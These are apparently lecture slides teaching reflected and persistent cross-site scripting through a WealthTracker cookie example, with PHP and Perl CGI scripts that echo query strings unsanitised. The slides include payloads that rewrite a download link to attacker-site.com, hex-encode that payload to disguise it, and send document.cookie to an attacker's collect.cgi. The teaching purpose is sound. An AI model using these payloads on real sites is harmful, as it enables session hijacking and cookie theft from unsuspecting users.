Cross Site Scripting (XSS) Attack Chien-Chung Shen

Managing Cookies with JavaScript Cookies are used to retain some data (state) from one session to another between a browser and a web server Enterprise web servers often use cookies stored in browsers to keep track of interaction with their online customers from one visit to the next –In this manner, after a new client has been authenticated with, say, a password on the first contact, the cookies can be relied upon for subsequent automatic authentications –Cookies can also be used to store customer preferences, tracking how customers view a web page, and so on –On Firefox: Tools -> Page Info -> Cookies It may be possible for third parties to steal cookies from an innocent client’s browser by mounting cross-site scripting attack

How JavaScript Set/Change Cookies Example: WealthTracker.html (by Prof. Avi Purdue) Downloading web page WealthTracker.html from the server constitutes one session –Enter a string for your name and an integer for your wealth, and then click on the submit button. When you click on the Submit button the first time, the browser will show you for verification the information you just entered in the form –Now just change the number in the “Wealth” box and see what happens. And do this repeatedly. You will see that this page keeps track of how many times you have visited the page in the past and how your wealth has changed from one visit to the next All JavaScript code in web page is in the form of function definitions. A JavaScript function may be executed automatically upon the occurrence of an event or because it has been called in code that is currently being executed All JavaScript appears between and tags Between and tags, HTML creates a web form with two text boxes, one for name and the other for wealth

How JavaScript Set/Change Cookies Enter your name and the size of your wealth in this form: Your Name (Required) : <input id="yournamebox” name="yourname” type="text" /> Size of Your Wealth: This form is not supposed to send anything back to server –to ensure form data will NOT be sent back to server by setting action to ‘ # ’ –to supply client-side function to process form data by making it value of onSubmit attribute; when user clicks on “Submit” button of form, whatever the user entered in form will be processed by JavaScript method checkEntry() (which returns false to prevent form from being sent to server) –value of method does not matter, since action is ‘ # ’

How JavaScript Set/Change Cookies function getSetCookie(name, info) { var all_cookies = document.cookie.split(';'); var cooky = ''; var nam = ''; var val = ''; for (i=0;i < all_cookies.length;i++) { cooky = all_cookies[i].split('='); nam = cooky[0].replace(/^\s+|\s+$/g, ''); if (nam == name) { val = unescape( cooky[1].replace(/^\s+|\s+$/g, '') ); val_parts = val.split('_'); var howManyVisits = Number(val_parts[0]); var visit_portion = val_parts[1]; var prev_info = val_parts[2]; if (prev_info) { var diff = info - prev_info; var msg = "This is your visit number " + (howManyVisits + 1) + ". " + "Your wealth changed by " + diff; alert(msg); } var newCookieVal = (howManyVisits + 1) + '_' + visit_portion + '_' + info; setCookie( name, newCookieVal, 15 ); } else { var cookieValue = "1_visits" + '_' + info; setCookie( name, cookieValue, 15 ); } A cookie consists of “name=value” pairs

XSS Attack (1) User visits specially crafted link (URL) by attacker When user visits the link, the crafted code will get executed by the user’s browser Query-string in URL: ?name=value&name=value… –passed on to an application program at web server –this is how your search request is conveyed to search engine like Google For instance, index.php <?php $name = $_GET['name']; echo "Welcome $name "; echo " Click to Download "; ?> alert('a ttacked') alert('a ttacked') When victim loads the above URL into browser, he will see an alert box which says ‘attacked’

XSS Attack (2) For instance, index.php <?php $name = $_GET['name']; echo "Welcome $name "; echo " Click to Download "; ?> Attacker can now try to change “target URL” of link “ Click to Download ” window.o nload = function() {var link=document.getElementsByTagName("a");link[0].href=" y.com/";} Call the function to execute on “ window.onload ” Because the website (i.e, index.php) first echos the given name and then only it draws the tag

XSS Attack (3) Normally an attacker tends not to craft URL which human can directly read. So attacker will encode ASCII characters to hex as follows 4 % 3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%2 0%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%6 3%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%6 1%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%7 4%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%2 2%3b%7d%3c%2f%73%63%72%69%70%74%3e  attacker-site.com Now victim may not know what it is, because directly he cannot understand that the URL is crafted and there is a more chance that he can visit the URL.

Stealing Cookies via XSS Attack (1) Client-side XSS takes the form of attacker gets an innocent victim to click on a carefully crafted URL to a web server Unknowingly to the victim, this URL carries a query-string portion with embedded JavaScript code that is designed to send the cookies stored in the client’s browser for web server’s domain to the attacker’s machine Convert WealthTracker.html into a CGI script named WealthTracker.cgi, a Perl executable file that spits out HTML that is sent to browser requesting this page Put WealthTracker.cgi in /usr/lib/cgi-bin /cgi-bin/WealthTracker.cgi /cgi-bin/WealthTracker.cgi?name= alert(“Hello from a cookie stealer“);

Stealing Cookies via XSS Attack (2) my $forminfo = ''; $forminfo = $ENV{QUERY_STRING}; $forminfo =~ tr/+/ /; $forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; #$forminfo =~ s/ //g; print "$forminfo"; Echo back to browser a query string if it is found attached to URL received from the browser /cgi-bin/WealthTracker.cgi?name= alert(document.cookie); Query string name= alert(document.cookie); This query string would be echoed back by the server to the browser and the browser would ordinarily process the JavaScript in the value of the string –Display cookie(s) in browser

Stealing Cookies via XSS Attack (3) An evil attacker lures victims with the following URL /cgi- bin/WealthTracker.cgi??name= window.open(" /cgi- bin/collect.cgi?cookie="%2Bdocument.cookie) Attacker has a web server running on machine and its cgi-bin includes a script called collect.cgi that simply collects the information sent to by the browser on the victim machine because of JavaScript code in the query-string portion of the URL. Now the attacker would be able to harvest cookies in the victim’s browser for the WealthTracker.cgi web site

Stealing Cookies via XSS Attack (4) my $forminfo = ''; $forminfo = $ENV{QUERY_STRING}; $forminfo =~ tr/+/ /; $forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; #$forminfo =~ s/ //g; print "$forminfo"; echo back to browser a query string if it is found attached to URL received from the browser a clueless client has engaged in a session with this web page assume that the same client has received a very authentic looking that lures him/her into clicking on a link that points to the following URL 1. /cgi-bin/WealthTracker.cgi?name= alert(document.cookie); 2. /cgi-bin/WealthTracker.cgi?name= alert("Hello from a cookie stealer"); 3. /cgi- bin/WealthTracker.cgi?name= window.open(" bin/collect.cgi?cookie=”+document.cookie)

CGI in Apache2 (1) Add the following directive into file /etc/apache2/sites-enabled/000-default ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all

CGI in Apache2 (2) To test cgi, put the following hello.cgi inside /usr/lib/cgi-bin/ #!/usr/bin/perl print "Content-type:text/html\r\n\r\n"; print ' '; print ' Hello Word - First CGI Program '; print ' '; print ' Hello Word! This is my first CGI program '; print ' '; Then do sudo chown root:root hello.cgi sudo chmod 755 hello.cgi Open Firefox on your VM, input localhost/cgi-bin/hello.cgi It shows "Hello Word! This is my first CGI program”.

Persistent XSS Attack (1) The code injected by attacker will be stored in a secondary storage device (mostly on a database) Session –HTTP protocol is stateless, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other –Once user has authenticated himself, the web server should not ask the username/password for the next request from the user –To do this, they need to maintain some kind of states between the web-browser and web-server which is done through “Sessions” –When user login for the first time, a session ID will be created by web server and it will be sent to web-browser as “cookie” –All sub-sequent requests to web server, will be based on the “session id” in the cookie

Persistent XSS Attack (2) Demonstration: –There are two types of users: “Admin” and “Normal”. When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name